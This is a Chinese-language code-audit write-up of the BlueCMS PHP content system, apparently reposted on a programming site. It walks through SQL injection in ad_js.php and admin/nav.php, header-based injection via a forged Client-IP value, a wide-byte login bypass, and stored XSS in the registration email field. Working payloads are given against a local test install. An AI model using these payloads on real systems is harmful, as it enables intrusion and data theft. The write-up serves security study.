php代码审计篇bluecms代码审计

news2024/11/20 3:28:08

文章目录

  • Seay自动审计
  • 源码分析
    • /ad_js.php文件sql注入分析
    • /include/common.fun.php注入分析
    • /admin/login.php存在宽字节注入分析
    • /admin/nav.php SQL注入分析
    • 前台注册界面存在存储型xss

Seay自动审计

使用seay进行自动代码审计
在这里插入图片描述

源码分析

/ad_js.php文件sql注入分析

查看执行的sql语句

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

联系上下文可以看到仅仅判断了$ad_id这个函数是否为空
在这里插入图片描述
之后跟进getone这个函数,这里也没有进行任何过滤,故必存在sql注入
在这里插入图片描述
测试:

#查看字段数
http://127.0.0.1/bluecms/ad_js.php?ad_id=1 order by 7  #正常
http://127.0.0.1/bluecms/ad_js.php?ad_id=1 order by 8  #报错
'''
所以字段数为7
'''

#确定显示位
http://127.0.0.1/bluecms/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7
'''
页面回显空白,查看源码看到只有7显示到界面,所以显示位在源码中,因此后面只能在源码中查看显示信息
'''

#查看数据库
view-source:127.0.0.1/bluecms_src/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
'''
得到数据库:bluetest
'''

在这里插入图片描述

/include/common.fun.php注入分析

这里提示获取ip方式可以伪造,也就是client这个参数可以在数据包里伪造
在这里插入图片描述

跟进看一下,看到这里是一个函数getip,用来获取用户ip,getenv就是用来获取前台的一些东西
在这里插入图片描述
继续跟进getip这个函数,看到在评论处调用了此函数插入一条评论
在这里插入图片描述
继续跟进,看下values这些值里面有没有进行过滤,看到使用intval进行了转换,其他也都进行了防护,重点回到getip吧
在这里插入图片描述
输出这条sql语句,之后注册个用户登录,随便评论
在这里插入图片描述

输出:
INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '1', '2', '1', '2', '222', '1695303095', '127.0.0.1', '1')

可以看到本机ip也在里面,而client-ip是可以伪造的,上bp,评论,抓包,加个client-ip参数,发现可以修改
在这里插入图片描述
构造pyload

同时插入两条评论
VALUES ('', '1', '2', '1', '2', '222', '1695303095', '6.6.6.6', '1'),('', '1', '2', '1', '2', (database()), '1695303095', '6.6.6.6', '1')
client-ip:6.6.6.6', '1'),('', '1', '2', '1', '2', (database()), '1695303095', '6.6.6.6

发布评论,抓包,加入client-ip,在内容处改为sql语句,看到执行成功
在这里插入图片描述

/admin/login.php存在宽字节注入分析

所谓宽字节注入,就是单引号因为PHP中使用addslashes函数,被转义为\’,编码后就是%5c%27
加上pyload中的%df 后,就是 %df%5c%27 ,然后MySQL在使用GBK编码的时候,会认为两个字符为一个汉字, %df%5c就被解析为一个汉字,%27也就是单引号就成功逃逸了,成功实现闭合,后面就可以通过or 来执行语句了。

在这里插入图片描述
登录,抓包,admin后面加上 %df or 1=1 #登录成功
在这里插入图片描述

/admin/nav.php SQL注入分析

找到下面这段代码,可以看到navid这个参数是直接拼接在后面的

elseif($act=='edit')
 {
 	$sql = "select * from ".table('navigate')." where navid = ".$_GET['navid'];
 	$nav = $db->getone($sql);
 	$smarty->assign('nav',$nav);
 	$smarty->assign('act', $act	);
 	$smarty->display('nav_info.htm');
 }

构造pyload

#查看字段数
http://127.0.0.1/admin/nav.php?act=edit&navid=1 order by 6;  #正常
http://127.0.0.1/admin/nav.php?act=edit&navid=1 order by 7;  #报错
'''
所以字段数为6
'''

判断回显位置
在这里插入图片描述
成功
在这里插入图片描述

前台注册界面存在存储型xss

注册,抓包
在这里插入图片描述
在user.php里找到do_reg这个函数,可以看到对账号做了长度限制,但是邮箱没有任何限制
在这里插入图片描述
在邮箱后面直接跟XSS语句
在这里插入图片描述
成功弹窗
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1031919.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

k8s-部署

1.k8s 集群与部署 更改所有主机名字和解析 k8s1 192.168.25.11 reg.westos.org,habbor 仓库 k8s2 192.168.25.12 master,k8s 集群控制节点 k8s3 192.168.25.13 node,k8s 集群工作节点 k8s4 192.168.25.14 node,k8s 集群工作节点 所有节…

不再跳票Fedora 26 正式发布!

经过延期和跳票,Fedora 26终于和大家见面了,下面是Fedora 项目负责人Matthew Miller感谢信 大家好,我很高兴地宣布,从即刻起 Fedora 26 正式可用了。你可以从下面了解到具体信息,也可以马上开始下载: •下载…

漫画工厂ai-comic-factory 文字2漫画

demo入口https://huggingface.co/spaces/jbilcke-hf/ai-comic-factory 最终展示 大概流程: 选漫画分格输入需要将啥故事X X 通过Llama2 70B 生成具体的每个分割图的描述YY 通过SDXL 生成图 LLM: llama-2 is used to generate the captions of 4 comic panels (pro…

【从0学习Solidity】 6. 引用类型, array, struct

【从0学习Solidity】 6. 引用类型, array, struct 博主简介:不写代码没饭吃,一名全栈领域的创作者,专注于研究互联网产品的解决方案和技术。熟悉云原生、微服务架构,分享一些项目实战经验以及前沿技术的见解。关注我们的主页&…

软考证书可以评职称吗?怎么评?

软考是可以帮助评职称的,取得软考证书,就具备评职称的相应资格。 通过软考获得证书的人员,表明其已具备从事相应专业岗位工作的水平和能力,用人单位可根据工作需要从获得证书的人员中择优聘任相应专业技术职务(技术员…

Python函数绘图与高等代数互融实例(三):设置X|Y轴文本标签|网格线

Python函数绘图与高等代数互融实例(一):正弦函数与余弦函数 Python函数绘图与高等代数互融实例(二):闪点函数 Python函数绘图与高等代数互融实例(三):设置X|Y轴|网格线 Python函数绘图与高等代数互融实例(四):设置X|Y轴参考线|参考区域 一: 设置X|Y轴文本标签 import num…

Python在工业自动化领域的应用详解

概要 当我们开始讨论在工业自动化应用中使用哪种编程语言时,通常我们会首先谈论IEC 61131-3标准中用于可编程逻辑控制器(PLC)的语言,比如经典的梯形图(LD)或结构化文本(ST)。对于机器…

OceanBase Docker体验

实验一:OceanBase Docker体验 通过 OceanBase Docker 容器,快速的体验 OceanBase 的 自动化部署过程,以及了解 OceanBase 集群安装成功后的目录特点和使用方法。 Docker镜像 实验环境 实验环境说明 1台OCP 5台OBSERVER aarch64 Kylin Lin…

【效率提升】maven 转 gradle 实战 | 京东云技术团队

一、灵魂三问 1、gradle 是什么? 一个打包工具, 是一个开源构建自动化工具,足够灵活,可以构建几乎任何类型的软件,高性能、可扩展、能洞察等。其中洞察,可以用于分析构建过程中数据,提供分析参…

龙讯LONTIUM LT8712EXI 国产芯片

1.描述 该LT8712EXI是一种高性能的类型-C/DP1.2HDMI2.0/VGA转换器,旨在连接一个USB类型C源或DP1.2源到一个VGA接收器,并高达两个HDMI2.0接收器同时。 该LT8712EXI集成了一个DP1.2兼容接收器(MST能力),一个高速三通道…

浅谈SpringMVC的请求流程

目录标题 浅谈SpringMVC的请求流程SpringMVC的介绍SpringMVC的逻辑概念运行图解知识总结 浅谈SpringMVC的请求流程 对于SpringMVC而言重点是了解它的底层运行逻辑,从而可以根据其逻辑来进行实际业务的操作或者是利用原理增强业务的功能性,最终达到项目预…

免备案海外服务器有什么好处?

介绍一:了解海外服务器免备案的优点 免备案海外服务器是指在国外搭建网站服务器而不是在国内备案,这种模式可以带来一定的便利 。首先,海外服务器免备案可以使网站更加稳定,因为国外网络环境更加稳定,大多数国外服务 器…

并查集题目

并查集是一种十分常用并且好用的数据结构 并查集可以动态维护若干个不重叠的集合,支持合并与查询操作,是一种树形的数据结构 并查集的基础应用 村村通 对于这道题我们只需要求连通块的数量,然后将这几个联通快看成点,我们可以知…

【算法练习Day3】 移除链表元素设计链表反转链表

​ ​📝个人主页:Sherry的成长之路 🏠学习社区:Sherry的成长之路(个人社区) 📖专栏链接:练题 🎯长路漫漫浩浩,万事皆有期待 文章目录 移除链表元素其他问题 设…

【LeetCode热题100】--53.最大子数组和

53.最大子数组和 使用动态规划: 状态定义:设动态规划列表dp,dp[i]代表以元素nums[i]为结尾的连续子数组最大和 转移方程:若dp[i-1]≤0,说明dp[i-1]对dp[i]产生负贡献,即dp[i-1]nums[i]还不如nums[i]本身大 初始状态&…

基于Python+Pygame实现一个俄罗斯方块小游戏【完整代码】

俄罗斯方块,一款起源于上世纪80年代的经典电子游戏,凭借简单的规则和独特的魅力,一跃成为全球家喻户晓的经典。你知道其实只需要一些基础的编程知识,就可以自己实现它吗?今天,我们将使用Python的Pygame库&a…

2023年前端流行什么技术和框架了?

Web前端三大主流框架有React、Vue.js和Angular,由于接触过Vue.js,接下来主讲最新的Vue3.0! Vue3.0作为最新版本的Vue.js框架,拥有更强大的性能和更丰富的功能,为低代码开发平台注入了全新的活力。而JNPF快速开发平台作…

Anchor DETR

Anchor DETR(AAAI 2022) 改进: 提出了基于anchor的对象查询提出Attention变体-RCDA 在以前DETR中,目标的查询是一组可学习的embedding。然而,每个可学习的embedding都没有明确的意义 (因为是随机初始化的)&#xff…

2024年天津专升本文化课考试大纲发生了哪些变化

2024年天津专升本文化课考试语文、数学、计算机、英语最新大纲发生了哪些变化 高职升本科《计算机应用基础》大纲更改详解:新增计算机发展新技术、win7变更为 win10、word2010变为word2019、 新 增其他常用功能模块、Excel2010变 更为Excel2019、新增演示文稿制作软件PowerPoi…

iPhone15线下购买,苹果零售店前门店排长队

今年的苹果新品发布会于北京时间 9 月 13 日凌晨举行,并于 9 月 15 日(周五)开启订购,9 月 22 日(周五)起正式发售。 据多位网友反馈,首批苹果 iPhone15 系列手机、Apple Watch Ultra 2 / Seri…